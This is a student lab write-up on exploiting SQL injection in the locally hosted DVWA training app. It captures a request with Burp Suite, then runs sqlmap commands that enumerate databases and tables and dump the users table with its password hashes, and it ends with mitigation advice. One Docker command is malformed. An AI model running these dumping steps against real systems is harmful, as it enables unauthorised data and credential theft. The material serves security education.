TASK 8 -SQL Injection Practical Exploitation using DVWA & Burp Suite

Objective

To identify and exploit SQL Injection vulnerability in DVWA using **Burp Suite to capture requests** and **SQLMap to analyze them**.

Step 1: DVWA Setup

- Using Docker pull DVWA from vulnerabilites/web-dvwa by

  $ docker pull vulnerables/web-dvwa

- Then run the image

  $ docker -r -d 80:80 vulnerables/web-dvwa

- Now open Burpsuite in proxy tab click intercept on and open browser
- Then in that browser visit "http://127.0.0.1".
- Now in burpsuite proxy tab click forward util you see dvwa login page and login with 'admin' as user and password is 'password'.
- Then again click forward now you can see home page of dvwa website in that ...
- Set security level:
- `DVWA Security → Low → Submit`
- Go to:

1. `Setup / Reset DB → Create / Reset Database`

Now DVWA database initialized

Step 3: Capture SQL Injection Request (Burp)

- Now in that dvwa webpage you can see sql injection section in that give '1 ' as input and hit enter.
- Now in burpsuite click forward to capture the resposne for session id.
- Now in Target tab you can see the requests in that you can see something like GET 'vulnerablities/sqli?id=1%submit' something like this...
- This is the inercepted request.

Step 4: Send Request to File (sqli.txt)

In Burpsuite:

1. Right-click intercepted request
2. Select:

- `Save item`

- Save as:

1. `sqli.txt`

   (Example: home/kali/sqli.txt)

Note:
Do **NOT** modify request.
Cookie must remain.

Step 5: Verify sqli.txt

```
$ cat sqli.txt
```

O/P will be look like this

```
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=j1aoi4n2d7vgkh431atm9ofco1; security=low
User-Agent: Mozilla/5.0
```

Step 6: Run SQLMap using Burp-captured Request

Basic Injection Test

```
$ sqlmap -r sqli.txt
```

Automatic Mode

```
$ sqlmap -r sqli.txt --batch
```

SQLMap automatically detects:

- Parameter: `id`
- Database type: MySQL
- Injection technique

Step 7: Extract Databases

```
$ sqlmap -r sqli.txt --batch --dbs
```

Expected output:

```
[*] dvwa
[*] information_schema
```

Step 8: Extract Tables

```
$ sqlmap -r sqli.txt --batch -D dvwa --tables
```

Example tables:

```
users
guestbook
```

Step 9: Dump User Data

```
$ sqlmap -r sqli.txt --batch -D dvwa -T users --dump
```

SQLMap retrieves:

- usernames
- password hashes

Impact Analysis

- Attacker can read sensitive database data
- User credentials exposed
- Complete database compromise possible

Mitigation

- Use prepared statements (parameterized queries)
- Validate user input
- Disable verbose DB errors

Conclusion

SQL Injection vulnerability in DVWA was identified by capturing HTTP requests using Burp Suite and replaying them through SQLMap using sqli.txt. The attack successfully extracted database information, proving improper input validation.